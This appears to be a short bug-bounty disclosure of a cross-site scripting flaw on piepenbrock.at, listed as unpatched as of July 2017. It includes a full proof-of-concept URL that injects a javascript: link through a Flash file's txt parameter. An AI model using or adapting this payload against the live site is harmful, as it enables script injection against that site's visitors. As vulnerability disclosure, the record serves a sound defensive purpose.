piepenbrock.at XSS vulnerability

Vulnerable URL: http://www.piepenbrock.at/data/templates/setpiepenbrock/sifr2/sifr.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability...